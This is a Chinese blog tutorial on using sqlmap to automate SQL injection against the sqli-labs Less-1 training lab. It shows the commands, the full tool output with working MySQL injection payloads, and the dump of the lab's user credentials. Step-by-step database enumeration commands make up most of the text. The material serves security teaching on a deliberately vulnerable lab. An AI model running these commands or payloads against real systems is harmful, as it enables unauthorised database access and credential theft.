【SQL注入15】自动化注入技术（基于sqlmap工具和sqli-labs-less1靶场平台）

已于 2022-07-01 02:55:52 修改
阅读量4.5k 收藏 13
点赞数 4
分类专栏： # 筑基07：WEB漏洞原理 文章标签： 安全 sql 自动化
于 2022-02-22 00:27:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fighting_hawk/article/details/123038956
版权

目录

1 前言

由于手动注入、半自动化注入效率较低，对于一些常规的、重复性的可以交由神奇sqlmap来完成。本节课从一个最基础的注入来简单介绍sqlmap工具。

2 实验介绍

2.1 实验平台

  1. 靶机：CentOS7安装docker，利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
  2. 攻击机：Kali系统，本实验利用kali自带的sqlmap来实现自动化注入。
  3. 靶机与攻击机桥接到同一局域网中。

2.2 实验目标

爆破获取网站后台数据库账号及密码。

3 实验过程

3.1 前戏

  1. 打开kali系统，点击菜单搜索sql，出现以下界面，点击sqlmap。在这里插入图片描述
  2. 打开界面如下。
    在这里插入图片描述
  3. kali系统上打开浏览器，访问靶机sqli-labs网页。
    在这里插入图片描述

3.2 判断注入点及注入类型

  1. 在kali终端，为保险起见输入命令sudo -i登录root账户进行实验。
  2. 在输入命令 sqlmap -u "http://192.168.1.4/Less-1/?id=1" 对目标网站的参数是否能注入进行判断，代码执行过程如下，程序对参数id的数据类型、可行的注入方式进行判断、对四种基本注入手法进行判断与初步执行，对于union联合注入，程序自动判断了回显数据的列数，极大地减少了手动操作。
┌──(kali㉿kali)-[~]
└─$ sudo -i                                                          
[sudo] kali 的密码：
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1"      
        ___
       __H__                                                                             
 ___ ___[(]_____ ___ ___  {1.5.11#stable}                                                
|_ -| . ["]     | .'| . |                                                                
|___|_  [']_|_|_|__,|  _|                                                                
      |_|V...       |_|   https://sqlmap.org                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:55:45 /2022-02-21/

[09:55:46] [INFO] testing connection to the target URL
[09:55:46] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:55:46] [INFO] testing if the target URL content is stable
[09:55:47] [INFO] target URL content is stable
[09:55:47] [INFO] testing if GET parameter 'id' is dynamic
[09:55:47] [INFO] GET parameter 'id' appears to be dynamic
[09:55:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[09:55:47] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[09:55:47] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[09:56:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:56:01] [WARNING] reflective value(s) found and filtering out
[09:56:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")                                           
[09:56:01] [INFO] testing 'Generic inline queries'
[09:56:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'                                                              
[09:56:01] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable                                     
[09:56:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:56:01] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[09:56:11] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable                                                                
[09:56:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:56:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:56:11] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:56:11] [INFO] target URL appears to have 3 columns in query
[09:56:11] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[09:57:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.1
[09:57:03] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          

[*] ending @ 09:57:03 /2022-02-21/

3.3 爆库名

  1. 使用时机：该命令是确定网站存在注入之后再使用。
  2. 命令格式：sqlmap -u 注入点URL --dbs，获取当前站点后台所有数据库。
  3. 命令格式：sqlmap -u 注入点URL --current-db，获取当前站点所在数据库
  4. 在上一步确认该网站及参数存在注入后，使用命令sqlmap -u “http://192.168.1.4/Less-1/?id=1” --dbs来爆出该网站后台所有数据库，使用命令sqlmap -u “http://192.168.1.4/Less-1/?id=1” --current-db，通过程序反馈结果，我们知道后台共有5个数据库，当前数据库为’security’。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1" --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.11#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:52:31 /2022-02-21/

[10:52:31] [INFO] resuming back-end DBMS 'mysql' 
[10:52:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[10:52:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.1
[10:52:31] [INFO] fetching database names
[10:52:31] [INFO] retrieved: 'information_schema'
[10:52:31] [INFO] retrieved: 'challenges'
[10:52:31] [INFO] retrieved: 'mysql'
[10:52:31] [INFO] retrieved: 'performance_schema'
[10:52:31] [INFO] retrieved: 'security'
available databases [5]:                                                                
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

[10:52:31] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          
[*] ending @ 10:52:31 /2022-02-21/



──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1" --current-db                         2 ⨯
        ___
       __H__                                                                             
 ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                
|_ -| . [.]     | .'| . |                                                                
|___|_  [.]_|_|_|__,|  _|                                                                
      |_|V...       |_|   https://sqlmap.org                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:03:20 /2022-02-21/

[11:03:20] [INFO] resuming back-end DBMS 'mysql' 
[11:03:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[11:03:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.1
[11:03:20] [INFO] fetching current database
current database: 'security'
[11:03:20] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          

[*] ending @ 11:03:20 /2022-02-21/

3.4 爆表名

  1. 使用时机：在查询完数据库之后。
  2. 功能：查询数据库中的表名，可以指定数据库进行查询，如果没有指定，则会对所有数据库进行查询。
  3. 命令格式：sqlmap -u 注入点URL -D 目标数据库 --tables。
  4. 在上一步我们确定当前数据库为’security’，使用命令sqlmap -u “http://192.168.1.4/Less-1/?id=1” -D ‘security’ --tables来获取当前数据库下有哪些表。程序运行结果如下，共有4个表，其中表格users是下一步的目标。
──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1" -D 'security' --tables
        ___
       __H__                                                                             
 ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                
|_ -| . [,]     | .'| . |                                                                
|___|_  [']_|_|_|__,|  _|                                                                
      |_|V...       |_|   https://sqlmap.org                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:10:44 /2022-02-21/

[11:10:44] [INFO] resuming back-end DBMS 'mysql' 
[11:10:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[11:10:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.1
[11:10:45] [INFO] fetching tables for database: 'security'
[11:10:45] [INFO] retrieved: 'emails'
[11:10:45] [INFO] retrieved: 'referers'
[11:10:45] [INFO] retrieved: 'uagents'
[11:10:45] [INFO] retrieved: 'users'
Database: security                                                                      
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

[11:10:45] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          

[*] ending @ 11:10:45 /2022-02-21/

3.5 爆字段名

  1. 使用时机：在查询完表名后。
  2. 功能：查询表中所有字段名。
  3. 命令格式：sqlmap -u 注入点URL -D 目标数据库 -T 目标数据表 --columns。
  4. 在获取了数据库名和表名后，我们可以使用命令sqlmap -u “http://192.168.1.4/Less-1/?id=1” -D ‘security’ -T ‘users’ --columns来获取目标表格下有哪些字段。可见共有三个字段，依次是id、username、password。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1" -D 'security' -T 'users' --columns
        ___
       __H__                                                                             
 ___ ___[,]_____ ___ ___  {1.5.11#stable}                                                
|_ -| . [.]     | .'| . |                                                                
|___|_  [)]_|_|_|__,|  _|                                                                
      |_|V...       |_|   https://sqlmap.org                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:13:53 /2022-02-21/

[11:13:54] [INFO] resuming back-end DBMS 'mysql' 
[11:13:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[11:13:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.1
[11:13:54] [INFO] fetching columns for table 'users' in database 'security'
[11:13:54] [INFO] retrieved: 'id','int(3)'
[11:13:54] [INFO] retrieved: 'username','varchar(20)'
[11:13:54] [INFO] retrieved: 'password','varchar(20)'
Database: security                                                                      
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

[11:13:54] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          

[*] ending @ 11:13:54 /2022-02-21/

3.6 爆字段内容

  1. 使用时机：在查询字段名后。
  2. 功能：获取字段中具体的数据信息。
  3. 命令格式：sqlmap -u 注入点URL -D 目标数据库 -T 目标数据表 -C 目标字段 --dump。当有多个目标字段需要查询时，使用英文格式逗号隔开。
  4. 在上述步骤后，我们使用命令sqlmap -u “http://192.168.1.4/Less-1/?id=1” -D ‘security’ -T ‘users’ -C id,username,password --dump获取所有账号及密码，如下，共有13个，整整齐齐。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.4/Less-1/?id=1" -D 'security' -T 'users' -C id,username,password  --dump
        ___
       __H__                                                                             
 ___ ___["]_____ ___ ___  {1.5.11#stable}                                                
|_ -| . [.]     | .'| . |                                                                
|___|_  [(]_|_|_|__,|  _|                                                                
      |_|V...       |_|   https://sqlmap.org                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:18:32 /2022-02-21/

[11:18:33] [INFO] resuming back-end DBMS 'mysql' 
[11:18:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8953=8953 AND 'jWWA'='jWWA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(2406,CONCAT(0x5c,0x716a7a7071,(SELECT (ELT(2406=2406,1))),0x7176766271)) AND 'sOBt'='sOBt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6435 FROM (SELECT(SLEEP(5)))JDxU) AND 'KsSg'='KsSg

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3927' UNION ALL SELECT NULL,CONCAT(0x716a7a7071,0x556a6644676f6162654467796a634b6a556e6d4b72494a53546f654b5568646f49736f4f59544647,0x7176766271),NULL-- -
---
[11:18:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.1
[11:18:33] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'security'
[11:18:33] [INFO] retrieved: '1','Dumb','Dumb'
[11:18:33] [INFO] retrieved: '2','I-kill-you','Angelina'
[11:18:33] [INFO] retrieved: '3','p@ssword','Dummy'
[11:18:33] [INFO] retrieved: '4','crappy','secure'
[11:18:33] [INFO] retrieved: '5','stupidity','stupid'
[11:18:33] [INFO] retrieved: '6','genious','superman'
[11:18:33] [INFO] retrieved: '7','mob!le','batman'
[11:18:33] [INFO] retrieved: '8','admin','admin'
[11:18:33] [INFO] retrieved: '9','admin1','admin1'
[11:18:33] [INFO] retrieved: '10','admin2','admin2'
[11:18:33] [INFO] retrieved: '11','admin3','admin3'
[11:18:33] [INFO] retrieved: '12','dumbo','dhakkan'
[11:18:33] [INFO] retrieved: '14','admin4','admin4'
Database: security                                                                      
Table: users
[13 entries]
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | Dumb     | Dumb       |
| 2  | Angelina | I-kill-you |
| 3  | Dummy    | p@ssword   |
| 4  | secure   | crappy     |
| 5  | stupid   | stupidity  |
| 6  | superman | genious    |
| 7  | batman   | mob!le     |
| 8  | admin    | admin      |
| 9  | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

[11:18:33] [INFO] table 'security.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.1.4/dump/security/users.csv'                                                
[11:18:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.4'                                                                          

[*] ending @ 11:18:33 /2022-02-21/

3.7 实验结果

成功获取后台数据库的账号及密码。

3.8 额外地：批量爆破

  1. SQLMap支持从不同类型的文件中读取请求进行SQL注入探测，这些包含请求的文件可以有BurpSuite截获生成，截获网站请求并生成文件可以参考《BurpSuite截获请求并生成文件》。SQLMap通过设置不同参数来读取不同类型的文件，如：
    1. -l：从BurpSuite Proxy或WebScarab Proxy中读取http请求日志文件；
    2. -x：从sitemap.xml站点地图文件中读取目标探测；
    3. -m：从多行文本格式的文件中读取多个目标，对多个目标进行探测；
    4. -r：从文本文件中读取http请求作为SQL注入探测的目标；
    5. -c：从配置文件sqlmap.conf中读取目标探测。
  2. 按《BurpSuite截获请求并生成文件》步骤生成请求日志文件http_req，存储路径位于桌面上。
  3. 使用命令sqlmap -l /home/kali/桌面/http_req来读取该文件中的请求，以达到批量判断的目的。这里的路径可以右键http_req查看文件属性，要根据自己实际情况而定，不能照抄。运行过程中【1/2】表明是对第几条请求进行注入，共有几条请求。
    在这里插入图片描述

4 总结

  1. SQLMAP很自动化，能极大提高工作效率；
  2. 掌握SQLMAP的常用命令；
  3. 通过SQLMAP自动化运行过程代码，加深对注入原理的理解。
Fighting_hawk
关注
专栏目录
sqlmap sqli-labs
u012922879的博客
08-26 3395
测试靶场：http://127.0.0.1/sqli-labs-master/Less-1/?id=5 sqlmap选项 目标:至少要选中一个参数 -u URL, –url=URL 目标为 URL (例如. “http://www.site.com/vuln.php?id=1“) -g GOOGLEDORK 将谷歌dork的结果作为目标url 请求: ...
Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 845
-batch当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用--batch这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。由于这题是，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件爆出当前主机名称。
[网络安全学习篇55]：SQL自动化注入
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
05-01 2564
引言：我的系列博客[网络安全学习篇]上线了，小编也是初次创作博客，经验不足；对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙，其实看到目录有300多集的时候，讲道理，有点怂了，所以我就想到了通过写博客（课程笔记）的形式去学习它，虽然写博客会让我多花几倍的时间去学习它，但是当我完成一篇博客所获得的成就感和你们对于我的认同感，让我很满足，能够鼓励我一天天的坚持下去，也希望和我...
最受欢迎的十款SQL注入工具
最新发布
shanguicsdn111的博客
09-23 2776
SQL是一种解释型语言。如果 Web 应用程序建立 SQL 语句的方法不安全，就很可能会受到 SQL 注入攻击。严重时，攻击者可利用该方法修改数据库里的所有信息，甚至控制运行数据库的服务器。因此Web应用程序很容易因为SQL注入而被入侵。所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令的目的。
【SQL注入-15】自动化注入案例—以sqli-labs-less9为例（利用sqlmap工具）
m0_64378913的博客
05-12 2679
目录1 前言[09:55:46] [INFO] testing connection to the target URL [09:55:46] [INFO] checking if the target is protected by some kind of WAF/IPS [09:55:46] [INFO] testing if the target URL content is stable [09:55:47] [INFO] target URL content is stable [09:55:4
自动化SQL注入工具-sqlmap
u013008898的博客
01-05 1541
1.通过burpsuite.获取拦截到的请求,指定文件进行探测 python sqlmap.py -r target.txt --current-db 2.通过url地址进行探测 Python sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" (-u参数指定目标注入地址)检测出存在可利用漏洞。 探测参数 1.列出所有的...
安全学习笔记day9-sql注入之自动化注入
sx234com的博客
05-17 406
0、内容有三（sqlmap，Havij-胡萝卜，Pangolin-穿山甲）一、sqlmap提纲二、学习顺序：三、基本信息1、GET方式注入A、语法基本：sqlmap -u url 后面可以跟 -f -p（当参数只有一个的时候没必要使用-p但是如果是多个参数时候例如username=aaa&pwd=aaaa时候 可以指定 -p username或者 -p pwd 或者不指定 也可） --us...
Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 1335
所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。使用单引号' 测试得到了报错即： ' 为闭合方式。在user-agent处加上*代表注入点。
Sqli-labs靶场第21、22关详解[Sqli-labs-less-21、22]自动化注入-SQLmap工具注入|sqlmap跑base64加密
m0_73615178的博客
03-03 1147
由于21/22雷同，都是需要登录后，注入点通过Cookie值进行测试，值base64加密修改注入数据选项：--tamper=base64encode。
Sqli-labs靶场第19关详解[Sqli-labs-less-19]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 800
所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。
Sqli-labs靶场第17关详解[Sqli-labs-less-17]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 890
根据题目及测试发现，注入点在New Password上并且后台会判断user是否存在，所以user选择一个知道的name：admin或domo。如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限，则可以枚举出当前数据库列表。，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。单引号 '闭合 -- 报错注入。爆出DBMS 所有数据库。
sqli-labs sqlmap注入（包含sqlmap、burpsuite下载）
qq_51930350的博客
06-14 448
python sqlmap.py -u http://ip地址/sqli-labs/Less-2/?python sqlmap.py -u http://ip地址/sqli-labs/Less-2/?python sqlmap.py -u http://ip地址/sqli-labs/Less-2/?python sqlmap.py -u http://ip地址/sqli-labs/Less-2/?python sqlmap.py -u http://ip地址/sqli-labs/Less-2/?
Sqlmap使用（sqli-lab）
Mccc_li的博客
05-06 3694
1.get使用方法： 1.查看是否有注入点：sqlmap -u 网址 2.爆出数据库名：sqlmap -u 网址 --dbs 5.爆出数据库的表名：sqlmap -u 网址 -D security --tables 6.爆出数据库的列名：sqlmap -u 网址 -D security -T users --columns 7.dump出数据：sqlmap -u -D security -...
Sqlmap在sqli-lab上的一些使用
weixin_43570155的博客
08-19 1334
目录 1.get使用方法： 2.post使用方法： 3.header注入使用方法： 4.指定注入的位置: 5.盲注使用不接收http body： 6.设置多线程（可以设置的最大数量为10，默认为1）： 7.预测输出： 8.持久连接： 9.指定数据库的探测 10.sqlmap脚本绕过（详细的脚本解释） 11.强制设置无效值替换： 12.自定义载荷(payload)位置 13.sqlmay设置tamper脚本： 14.sqlmap设置具体的注入技术： 15.查看当前用户以及是否是dba用户 16.枚举dbms的
SQLmap使用方法，sqli-labs靶场
ZhangAweio的博客
04-10 559
SQL-map是一个非常强大的注入的工具，自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL进行SQL注入，支持mysql、sql-service 等简单使用nmap进行查询数据。
sqli-labs靶场 SQL注入学习 Less-1
p4nic的博客
09-10 321
GET - Error based - Single quotes - String GET类型-基于报错的注入 类似于http://localhost/sqli-labs/Less-1/?id=1的URL，通过查询字符串(/?id=1)中传递参数 开发人员直接将GET获取到的参数直接与SQL语句拼接，使得待执行的SQL语句可控，即可以构造非法的SQL语句，造成了SQL注入漏洞 在注入之前，先了解一下MySQL数据库中的元数据 information_schema下的表格 informatio.
sqlmap学习(sqli-labs为示例)
quan9i的博客
02-17 5019
文章目录前言sql-map部分指令- -is-dba- -current-D，-T，-C- -dump-v--batchget类型检测可注入类型获取数据库获取表获取列名获取字段信息post类型准备工作检测可注入类型破解数据库方法一方法二破解数据表方法一方法二获取列名方法一方法二获取字段信息方法一方法二 前言 由于python学的啥也不是，脚本写的也很不咋滴（不会写），因此来学习sqlmap的使用，本人只是小白，如果出现错误还请各位师傅多多指正。 sql-map部分指令 - -is-dba --is-dba判
sqlmap使用教程（sqli-labs11-20）
小同的博客
05-22 789
sql-labs-less11~less17常规 POST 注入 sql-labs-less18 Header injection - Uagent sqlmap 在对user-agent 注入的时候，得在文件中的user-agent的参数后面加上 * 或者不加 * 号，调用 --level参数，将等级调至 3级，只有等级为 3级即以上时才能对 user-agent进行注入 sql-labs-less19 Header injection ...
【史上最全sqlmap通关sqli-labs靶场教程】
DMXA的博客
10-15 4338
【史上最全sqlmap通关sqli-labs靶场教程】
搭建本地SQL注入靶场：sqli-labs实战教程
"这篇教程将指导你安装sqli-labs，一个用于学习SQL注入的靶场。sqli-labs提供多样且最新的SQL漏洞环境，同时允许用户修改和审计源码，是网络安全初学者的理想实践平台。为了安全起见，推荐在本地环境而非公网服务器...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值